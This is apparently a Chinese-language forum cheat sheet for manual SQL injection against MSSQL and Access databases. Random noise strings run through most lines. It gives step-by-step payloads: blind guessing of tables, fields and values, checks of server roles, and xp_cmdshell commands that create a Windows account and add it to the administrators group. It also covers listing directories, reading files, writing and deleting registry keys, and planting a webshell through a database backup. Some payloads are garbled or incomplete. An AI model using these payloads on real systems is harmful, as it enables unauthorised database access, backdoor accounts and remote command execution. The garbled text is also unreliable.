手工脚本注入 - x' D/ W, v% |1 P4 ?
1.判断是否有注入;and 1=1 ;and 1=2 ( U7 v0 b( f5 Z1 ]! U
/ Q" T @/ X7 }) @7 ~2.初步判断是否是mssql ;and user>0
) x0 T: C5 s b' \* b$ l& `9 p
1 l% U7 e+ s) y4 a5 l; i9 j3.注入参数是字符'and [查询条件] and ''=' , U! k6 z( p& P
3 z* s; M3 Y5 O' [4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4 |# S; g9 i& J1 C% q
. z5 S8 R; [7 b
5.判断数据库系统
) \9 g C! H8 ^# q" t, o;and (select count(*) from sysobjects)>0 mssql + O$ X0 d1 B. N9 T, G
;and (select count(*) from msysobjects)>0 access
4 ?1 n4 w; h: }4 w- J! k/ D+ B6 m: x4 h
6.猜数据库 ;and (select Count(*) from [数据库名])>0 . S$ n0 v+ ~5 [! z j3 D
7 F' f) @: x* P) U7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) r: J/ ]8 s) n! v# v" ?/ Q4 C/ L6 I) A. L' h
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ( E" s3 ^+ U# S v
3 T) ?# }! V* i* G p {7 y! |
9.(1)猜字段的ascii值(access)
: j1 E6 m6 L: ~1 a7 U' s# R;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
0 h& }' B* E( J; n2 F
0 I- f: N6 ^, @( E. u(2)猜字段的ascii值(mssql)
2 \' P2 _' h3 r( v S2 ];and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3 b% O8 y# k% B
* l# V' Q( @( p% I" `10.测试权限结构(mssql) : P& j& @: Q+ l8 W- w; ^8 g
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 j7 V% ?! S; R0 l* m;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ ~. [ p5 Z' p# p;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 q/ |( |! i' m;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : \9 {* E6 i7 \; i+ _: I3 m: v& b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( l: Q6 V3 j! ?, k/ ]/ n1 x/ b+ ~;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
3 @* R* N7 ]6 S) ]% d8 A;and 1=(select IS_MEMBER('db_owner'));-- 1 F& o: C% T" C2 P3 ~
1 U* S* Y! O/ W7 z7 l! u, l
11.添加mssql和系统的帐户
& A- B9 I; h/ {1 P( J# J% Q;exec master.dbo.sp_addlogin username;-- " P/ |9 K$ l5 G$ |5 e0 m: \
! B# O/ r6 x) m9 L% j- x;exec master.dbo.sp_password null,username,password;-- , C+ w1 ?$ e C* j- o
: D7 W4 e. C7 h5 T
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 B4 y( O0 }$ `6 f% S" `9 x, Y1 B
4 J* d2 X/ C' K. N;exec master.dbo.xp_cmdshell 'net user username password 5 B+ y* M+ n! I* i( o3 _
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ g8 E. O U; N
7 G' Y/ W- T4 U/ k;exec master.dbo.xp_cmdshell 'net user username password /add';--
2 q* X8 m/ k3 D( ~& K
4 ~7 V: `6 G1 i3 i$ m( B;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : u* Y1 P$ T5 S0 p" h& b
. E3 u. R b: e- M" L$ R z5 {12.(1)遍历目录
) j% m, g% B7 A% N
* I& [. B I; k! G3 i. `0 \. U' |0 i0 e;create table dirs(paths varchar(100), id int) 7 Z9 c J" Y1 c8 X; {, g
;insert dirs exec master.dbo.xp_dirtree 'c:\'
; P( y! N& O5 w% ~;and (select top 1 paths from dirs)>0 9 w+ C( E8 x% _8 |& o; x e/ L8 G
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
* T& f. a7 {4 h" `( b5 t% x, {- t" S/ ?8 U
(2)遍历目录
6 Z+ b9 V0 E, j$ T8 q9 o" c( U;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . m+ w: v( a% T l5 w0 u) |
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; ~3 g/ t/ s, V; y( ~1 J3 X7 M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! ~9 |* I4 M8 k4 y;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 & Q5 K/ g! d1 Q3 f B
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $ r/ T& w! T" ]
. d# j8 f) v- D, Q3 n' l
13.mssql中的存储过程 $ F# C2 N- ~* r: M+ J
& f& K% o* n( q; U, l: M
xp_regenumvalues 注册表根键, 子键 - t. m. ~- `6 f1 b
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [% E9 a8 i5 S" e2 _% [" F! j
# h, A8 F o, W9 T! b1 rxp_regread 根键,子键,键值名
" P( G( @( y' V# [2 Z;exec xp_regread - A3 k4 p$ h9 r9 b
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
+ C1 \1 Z; ~4 b+ Z
7 f1 U1 q3 @$ f$ J& x5 exp_regwrite 根键,子键, 值名, 值类型, 值
5 u6 O- p+ }6 i# E值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
, @' E; W* ^8 [3 Z- W;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 + M8 t+ S, R/ w. u: n
8 [0 _% m9 M6 s
xp_regdeletevalue 根键,子键,值名
1 K* ]: p* q8 l7 `: [4 j P* f: ~% r2 m! [8 x" _
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
. i, e: ^. d. t, ?6 |8 ]. y
9 Q2 ?$ C- t* }- w9 J/ Fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
# L( B" ]; c7 a: ~( W" p; n- v* C2 |3 z' f
14.mssql的backup创建webshell ' t; I+ i0 n _) O. d1 }
use model
. U% r) e4 U* M! L3 {9 ^9 K# e% Icreate table cmd(str image); ) `9 c8 A5 d" e j' { G/ j
insert into cmd(str) values (''); 4 l7 T7 b; r4 t5 X( l
backup database model to disk='c:\l.asp'; ! O Y% I* a3 E. I0 W
# ]$ b& w9 H; n6 e _7 C1 v6 k# u15.mssql内置函数
' {" A9 b* H- q, V6 j% R" V;and (select @@version)>0 获得Windows的版本号
3 j1 W) @* e+ M. O;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 i( y0 [6 C6 o6 M( a: B( i- @
;and (select user_name())>0 爆当前系统的连接用户
9 m. k: E) I# r# Q A# E;and (select db_name())>0 得到当前连接的数据库 & }% D, v7 P6 c2 E7 z% Y# o! J* [/ [
( _8 R3 [! Z' Z6 q3 q9 s16.简洁的webshell
. i7 l1 b4 c$ D. b P7 C
0 l5 e( i, U5 {& q. u2 @use model " y' F7 _ o$ P6 J: U) [
9 h- b, t! ?8 l8 y& K
create table cmd(str image);
& D0 S0 I) B; H: r' Q# s% y
( {! K7 K" i- g; R5 s1 R! x* g$ ?6 Ginsert into cmd(str) values (''); 1 ~7 ?1 J$ l5 [: m
9 h& U& g5 v: g/ }5 _' p: _backup database model to disk='g:\wwwtest\l.asp';
5 _8 j" K2 f7 y! D5 ^0 I
% w' j1 f) X3 q3 c$ Q } |